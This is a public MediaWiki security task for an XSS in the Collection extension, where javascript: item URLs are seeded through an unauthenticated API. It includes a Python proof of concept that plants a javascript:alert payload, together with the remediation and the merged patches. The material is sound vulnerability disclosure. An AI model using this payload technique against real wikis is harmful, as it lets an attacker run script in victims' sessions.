Page MenuHomePhabricator

CVE-2026-103443: Collection API permits session-seeded javascript URL XSS
Closed, ResolvedPublicSecurity

Description

Reporter: Marco Paciaroni
Credit: bombobombone

REPORT

Collection API permits a session-seeded javascript: URL XSS

Summary

The Collection postcollection API accepts arbitrary JSON and stores it in the requester's wsCollection session value. The item URL is later copied into the "show article" link on Special:Book. The template applies HTML escaping but does not restrict the URL scheme, so a supplied javascript: URL remains an executable link.

The API is reachable without authentication and does not require a token. An attacker can send a cross-site GET that seeds a victim's collection. When the victim opens Special:Book and clicks the generated show-article control, JavaScript executes in the wiki origin.

Affected code

  • Collection/includes/Api/ApiCollection.php:18-40,67-75 dispatches the postcollection submodule through action=collection.
  • Collection/includes/Api/ApiPostCollection.php:47-60 decodes attacker input, forces enabled, and writes the collection to the session without authentication, POST, or a CSRF token requirement.
  • Collection/templates/CollectionListTemplate.php:70-75 copies item['url'] into an href and only calls htmlspecialchars(); it does not validate the URL scheme.

Preconditions

No account or special permission is required for the attacker. The victim must have a MediaWiki session, later open Special:Book, and activate the crafted show-article link.

Reproduction

  1. Run the PoC below against an authorized MediaWiki instance.
  2. Open Special:Book in the same browser session.
  3. Click the show-article icon for Main Page.
  4. A harmless alert displaying COLLECTION_URL_XSS appears.

The postcollection GET can also be used as a top-level cross-site navigation to seed a victim session when the site's cookie policy permits it.

Impact

This is a stored, session-seeded XSS reachable without an account. JavaScript executed in the wiki origin can act with the victim's browser privileges, including reading page data and submitting state-changing requests available to that victim. User interaction with the generated show link is required.

Suggested remediation

Validate collection item URLs before storing or rendering them. For article links, construct the target from a validated Title and reject all schemes other than the expected local HTTP(S) URL. Do not rely on htmlspecialchars() for URL-scheme safety. Treat postcollection as a state-changing API module and require POST plus a CSRF token.

PROOF OF CONCEPT

Save as poc.py and run with Python 3:

#!/usr/bin/env python3
import argparse
import html
import json
import re
import sys
import urllib.error
import urllib.parse
import urllib.request
from http.cookiejar import CookieJar

def get(opener, url):
    request = urllib.request.Request(
        url,
        headers={"User-Agent": "MediaWiki-Collection-URL-XSS-PoC/1.0"},
    )
    with opener.open(request, timeout=20) as response:
        return response.status, response.read().decode("utf-8", "replace")

def main():
    parser = argparse.ArgumentParser(
        description="Show that Collection renders an attacker-controlled javascript: URL."
    )
    parser.add_argument("--base-url", default="http://127.0.0.1:4002")
    parser.add_argument("--alert-text", default="COLLECTION_URL_XSS")
    args = parser.parse_args()

    base = args.base_url.rstrip("/")
    api = base + "/w/api.php"
    special_book = base + "/wiki/Special:Book"
    payload = {
        "title": "Collection URL XSS validation",
        "subtitle": "",
        "settings": {},
        "items": [{
            "type": "article",
            "content_type": "text/x-wiki",
            "title": "Main Page",
            "revision": "1",
            "latest": "1",
            "timestamp": "1",
            "url": "javascript:alert(" + repr(args.alert_text) + ")",
            "currentVersion": 1,
        }],
    }
    query = urllib.parse.urlencode({
        "action": "collection",
        "submodule": "postcollection",
        "collection": json.dumps(payload, separators=(",", ":")),
        "format": "json",
    })
    opener = urllib.request.build_opener(
        urllib.request.HTTPCookieProcessor(CookieJar())
    )

    try:
        post_status, _ = get(opener, api + "?" + query)
        page_status, page_body = get(opener, special_book)
    except (urllib.error.HTTPError, urllib.error.URLError) as exc:
        print(f"validation failed: {exc}", file=sys.stderr)
        return 1

    expected = "javascript:alert(" + repr(args.alert_text) + ")"
    decoded = html.unescape(page_body)
    links = re.findall(
        r'<a\s+href="([^"]+)"[^>]*title="Show"', decoded
    )
    vulnerable = expected in links

    print(f"postcollection HTTP status: {post_status}")
    print(f"Special:Book HTTP status: {page_status}")
    generated = expected if vulnerable else "not found"
    print(f"Generated show-link: {generated}")
    print(f"Vulnerable link present: {vulnerable}")
    if not vulnerable:
        print("The executable URL was not rendered; do not report this result.")
        return 1

    print("Open Special:Book and click the show-article icon for Main Page.")
    print(f"The harmless alert displays: {args.alert_text}")
    return 0

if __name__ == "__main__":
    raise SystemExit(main())

The script validates the server-side flow and generated link. It does not contact Wikimedia production.

Thank you,

Marco Paciaroni

Event Timeline

Restricted Application added a subscriber: Aklapper. · View Herald Transcript

It seems like a lot of URL-building ext:Collection uses the paradigm:

"href=" . htmlspecialchars( SkinComponentUtils::makeSpecialUrl( 'Book', [ ... ] ) ) . ""

which should be pretty safe. But there are definitely a few instances where only htmlspecialchars is used to build an href attribute value, see audit here.

Suggested patch (also fixes &bookcmd=suggest, which isn't mentioned in the task but also has a link to the unsanitized item URL):

(Also, I'm surprised that code like this is still in Wikimedia production...)

[...] But there are definitely a few instances where only htmlspecialchars is used to build an href attribute value, see audit here.

Two of these instances are fixed with my patch; https://gerrit.wikimedia.org/g/mediawiki/extensions/Collection/+/4331f5eacef2d1e7d3fba01c7df0ac2a5db2df73/templates/CollectionPageTemplate.php#221 comes from $wgCollectionPODPartners AFAICT, and the rest uses SkinComponentUtils::makeSpecialUrl or Title::getLocalUrl()

(Also, I'm surprised that code like this is still in Wikimedia production...)

Apparently Reader Experience Team is the official owner at this time? Ping @Jdrewniak about potentially retiring the extension from Wikimedia production. I guess it's default-enabled on all projects, but I have no idea what the actual usage of Special:Book, etc. are.

sbassett changed the task status from Open to In Progress.Aug 24 2026, 3:59 PM
sbassett assigned this task to SomeRandomDeveloper.
sbassett triaged this task as Medium priority.
sbassett moved this task from Incoming to Security Patch To Deploy on the Security-Team board.
sbassett edited projects, added: SecTeam-Processed; removed: Product Safety and Integrity.

Suggested patch (also fixes &bookcmd=suggest, which isn't mentioned in the task but also has a link to the unsanitized item URL):

CR+2, I think we should get this deployed during today's Wikimedia production security window.

Change #1346109 had a related patch set uploaded (by SBassett; author: SomeRandomDeveloper):

[mediawiki/extensions/Collection@REL1_46] SECURITY: Sanitize item URLs before using them in HTML

https://gerrit.wikimedia.org/r/1346109

Change #1346110 had a related patch set uploaded (by SBassett; author: SomeRandomDeveloper):

[mediawiki/extensions/Collection@REL1_45] SECURITY: Sanitize item URLs before using them in HTML

https://gerrit.wikimedia.org/r/1346110

Change #1346111 had a related patch set uploaded (by SBassett; author: SomeRandomDeveloper):

[mediawiki/extensions/Collection@REL1_43] SECURITY: Sanitize item URLs before using them in HTML

https://gerrit.wikimedia.org/r/1346111

Change #1346107 merged by jenkins-bot:

[mediawiki/extensions/Collection@master] SECURITY: Sanitize item URLs before using them in HTML

https://gerrit.wikimedia.org/r/1346107

Change #1346109 merged by jenkins-bot:

[mediawiki/extensions/Collection@REL1_46] SECURITY: Sanitize item URLs before using them in HTML

https://gerrit.wikimedia.org/r/1346109

Change #1346110 merged by jenkins-bot:

[mediawiki/extensions/Collection@REL1_45] SECURITY: Sanitize item URLs before using them in HTML

https://gerrit.wikimedia.org/r/1346110

Change #1346111 merged by jenkins-bot:

[mediawiki/extensions/Collection@REL1_43] SECURITY: Sanitize item URLs before using them in HTML

https://gerrit.wikimedia.org/r/1346111

sbassett renamed this task from Collection API permits session-seeded javascript URL XSS to CVE-2026-103443: Collection API permits session-seeded javascript URL XSS.Sep 30 2026, 4:25 PM
sbassett changed Author Affiliation from N/A to Other (Please specify in description).
sbassett removed a project: Patch-For-Review.
sbassett changed the visibility from "Custom Policy" to "Public (No Login Required)".
sbassett changed the edit policy from "Custom Policy" to "All Users".
sbassett changed Risk Rating from N/A to Low.